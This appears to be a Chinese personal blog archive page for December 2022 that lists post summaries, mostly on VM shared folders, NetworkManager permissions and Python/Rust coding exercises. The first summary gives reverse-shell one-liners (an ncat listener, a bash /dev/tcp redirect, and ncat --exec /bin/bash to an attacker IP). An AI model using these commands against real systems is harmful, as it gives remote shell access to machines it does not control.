12 2022 档案

摘要:Attacker listening: ncat --listen --source-port 9999 Bash: bash -i >& /dev/tcp/intrinsic/9999 0>&1 ncat: ncat --exec /bin/bash attacker_ip attacker_po 阅读全文
posted @ 2022-12-24 15:49 ascertain 阅读(12) 评论(0) 推荐(0) 编辑
摘要:RedHat: vmhgfs-fuse .host:/ /mnt/hgfs -o allow_other -o uid=1000 -o gid=1000 -o umask=022 chmod a+x /etc/rc.d/rc.local Ubuntu: vmhgfs-fuse .host:/ /mn 阅读全文
posted @ 2022-12-24 12:56 ascertain 阅读(46) 评论(0) 推荐(0) 编辑
摘要:permissions: 允许非root用户控制网络 grant permission nmcli c modify convolute connection.permissions 'user:intrinsic,gdm' disable polkit/etc/NetworkManager/con 阅读全文
posted @ 2022-12-22 19:36 ascertain 阅读(108) 评论(0) 推荐(0) 编辑
摘要:def reverse(b: int): while b // 10: print(b % 10) b //= 10 print(b) reverse(1234) reverse(8) reverse(0) def reverse(b: int) -> int: if b < 10: return 阅读全文
posted @ 2022-12-14 21:13 ascertain 阅读(50) 评论(0) 推荐(0) 编辑
摘要:remand = 'abaxyzzyxf' def long_palindrome(s: str) -> str: longest = '' for i in range(len(s)): for j in range(i, len(s)): substr = s[i:j + 1] if is_pa 阅读全文
posted @ 2022-12-03 23:19 ascertain 阅读(16) 评论(0) 推荐(0) 编辑
摘要:remand = [7, 10, 12, 7, 9, 13] def max_sum_no_adjacent(array): if not len(array): raise ValueError(f'array is empty') if len(array) < 3: return max(ar 阅读全文
posted @ 2022-12-03 22:02 ascertain 阅读(37) 评论(0) 推荐(0) 编辑
摘要:nested loop remand = [3, 5, -4, 8, 11, 1, -1, 6] goal = 10 def palindrome(array: list[int], goal: int) -> tuple: length = len(array) for i in range(le 阅读全文
posted @ 2022-12-03 21:28 ascertain 阅读(17) 评论(0) 推荐(0) 编辑
摘要:use rand::Rng; use std::{cmp::Ordering, io}; fn main() { println!("Hello, world!"); let secret_number = rand::thread_rng().gen_range(1, 101); println! 阅读全文
posted @ 2022-12-03 10:45 ascertain 阅读(15) 评论(0) 推荐(0) 编辑

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